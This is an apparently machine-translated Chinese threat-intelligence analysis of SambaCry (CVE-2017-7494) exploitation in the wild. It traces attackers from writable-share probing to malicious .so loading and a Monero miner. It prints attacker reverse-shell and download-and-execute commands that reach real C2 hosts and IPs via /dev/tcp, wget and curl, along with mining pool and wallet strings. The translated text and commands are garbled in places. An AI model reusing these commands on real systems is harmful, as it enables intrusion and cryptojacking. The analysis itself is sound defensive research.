SambaCry 野外利用分析

Author: redrain & houjingyi159 @360网络安全响应中心 2017年5月24日Samba发布了4.6.4版本,中间修复了一个严重的远程代码执行漏洞,漏洞编号CVE…

作者: redrain& houjingyi159 @ 360网络安全反应中心 2017年5月24日,Samba发布了4.6.4版,修复了严重的远程执行代码漏洞,漏洞编号为CVE-2017-7494。该漏洞影响Samba 3.5.0至4.6.4/4.5.10/4.4.14中间的所有版本。 360信息安全部门的360网络安全中心和Gear Security首次分析了该漏洞,并确认这是一个严重的漏洞,可能导致远程代码执行。 http://blogs.360.cn/blog/samba远程执行代码漏洞cve-2017-7494分析/ SambaCry漏洞是一种类似蠕虫的漏洞,具有扩展性。最近,卡巴斯基安全实验室使用SambaCry漏洞捕获了一个利用数字货币挖掘块的恶意机器人。 在这里,360网络安全中心和360追逐团队对事件中使用的后门进行了详细的技术分析。 利用 由于漏洞需要对smb共享驱动器号具有写访问权限,因此卡巴斯基实验室的蜜罐捕获的攻击包中,攻击者首先尝试将具有随机字符名称的文件写入服务器,并在成功后将其删除。

在测试成功具有可写权限后,攻击者猛烈地猜测文件的完整路径以获取共享目录路径并将恶意lib写为有效负载。

在爆破到正确的路径之后,CVE-2017-7494漏洞用于加载恶意lib执行命令,因为samba默认以root权限启动,因此执行后加载lib的命令也将以root权限执行。使用成功后,删除已写入的lib,仅在内存中执行恶意命令操作。 恶意lib样本349d84b3b176bbc9834230351ef3bc2a_16106.so(INAebsGB.so)和2009af3fed2a4704c224694dfc4b31dc_30361.so(cblRWuoCc.so) 样品分析 在INAebsGB.so中,攻击者使用/bin/sh执行非常简单的反弹shell操作来执行下载文件或执行后续命令。

发现这个lib实际上是由metasploit的is_known_pipename模块生成的。 然后,编写了另一个libcblRWuoCc.so。在这个lib中,攻击者将shell弹回C2服务器4000端口并下载了一个挖掘程序,以便将bot用作CPU挖掘器。在此示例中,我们找到了C2服务器和挖掘程序。

执行中的操作: Bash -i< /dev/tcp/rc.ezreal.space/4000 || ((wgethttp://rc.ezreal.space/minerd64_s -O/tmp/m || curlhttp://rc.ezreal.space/minerd64_s -o/Tmp/m)&& chmod + x/tmp/m&& (nohup/tmp/m&)) 攻击者下载http://rc.ezreal.space/minerd64_s并在/tmp/m中执行它以授予nohup权限。 只需查询C2服务器,如下所示: Rc.ezreal.space 创纪录的149.255.35.33 时间IP国家省/州运营商 2017-05-17 149.255.35.33美国伊利诺伊州swiftway.net 2017-05-15 149.255.35.33美国伊利诺斯州swiftway.net 2017-04-30 185.86.150.76瑞典VästraGötaland www.ezreal.space 191.101.31.100 Cl.ezreal.space 191.101.31.100 Rc2.ezreal.space 149.255.35.77 Rc.ezreal.space 149.255.35.33 错误的黑客? 连接C2服务器rc.ezreal.space4000端口后,我看到以下脚本: #!/usr/bin/env bash 主机='149.255.35.33'; Nohup bash -i</dev/tcp/$ {host}/4001& Nohuo bash -i</dev/tcp/$ {host}/4002& Nohuo bash -i</dev/tcp/$ {host}/4003& 攻击者想使用nohup来忽略系统挂机并在后台运行,但我不知道这是否是粗心的原因。 Nohup被制成了nohuo。 访问其他三个端口并获取这些脚本: /tmp nc 149.255.35.33 4001 #!/usr/bin/env bash #minerd脚本 主机='149.255.35.33'; 目标=$ RANDOM;目标+=如此。目标=/TMP/$目标; 猫</dev/tcp/$ {host}/5000> $ target&& chmod + x $ target&& nohup $ target& /tmp nc 149.255.35.33 4002 #!/usr/bin/env bash #process guard script /tmp nc 149.255.35.33 4003 #!/usr/bin/env bash #auto start script% 由C2中的端口5000获得的矿工程序与从http获得的矿工程序相同。 矿工分析 到目前为止,这个C2服务器仍然存在,下载minerd64_s并对其进行简要分析。这是一个常见的CPU挖掘程序miderd。但是攻击者没有通常的附加参数,而是将所有参数硬编码到程序中。参数。

我很快发现攻击者的地雷和钱包地址为: .rodata: 0000000000515604 00000026 C stratum + tcp: //xmr.crypto-pool.fr: 3333 .rodata: 00000000005156CC 00000060 C 43xtViRHn1oibjS6yZSSS6XhFFkSRGC5SHgmymH6ei4r5osjPrC1z85BeCZS89ZtL4iDGDoUhEoKtcVe115Wp7sB6XzHmgy 通过挖掘池事务查询,众所周知,攻击者挖掘山寨货币'XDN'和'XMR',检查最近的转移情况,发现收入不错:) 另一次攻击 我认为我们的分析和卡巴斯基现在准备下班回家了,但发现360追逐团队还提供了样本1bb17e0d03ebd5acafbe60b70e38dec4.so(oooo.so) lib与cblRWuoCc.so非常相似,但操作不同。

只需弹回连接到C2服务器的端口,在连接:后返回一个shell脚本 #!/usr/bin/env bash #minerd脚本 Pkill .so; 主机='45 .76.146.166' ; 目标=$ RANDOM;目标+=如此。目标=/TMP/$目标; 猫</dev/tcp/$ {host}/5555> $ target&& chmod + x $ target&& nohup $ target& 访问45.76.146.166: 5555并获得一个矿工程序,矿工之间的区别是矿井池和钱包地址 .rodata: 0000000000515604 00000024 C stratum + tcp: //pool.minexmr.com: 4444 .rodata: 00000000005156CC 00000060 C 4AxoWMDfiPkh1PDHeyDi2TRpHC8hxHKY6ACtWRSY9Um4PuwPqjn9vAhdsSshmGu1RbZBUgKX42f584jGENHwXxsVGENHoGV

总结一下 从SambaCry漏洞披露开始,我们预计黑客会恶意使用它并从中获利。与EternalBlue最近爆发的Wannacry事件相比,黑客攻击变得正常,特别是多功能且非常容易。在利用攻击时,攻击也可以随之而来。随着比特币价值的增加,其他虚拟货币的价值也在增加,这也为黑客从网络攻击中获利提供了货币化手段。 时间线 2017-5-24          Samba发布版本4.6.4,修复了远程执行代码漏洞CVE-2017-7494 2017-5-25          360网络安全响应中心和360信息安全部门联合发布预警公告和第一次漏洞分析 2017-5-30         卡巴斯基安全实验室首次通过蜜罐捕获恶意使用SambaCry 2017-6-12          360网络安全响应中心和360追逐团队共同攻击方法技术分析 参考来源 https://securelist.com/sambacry-is-coming/78674/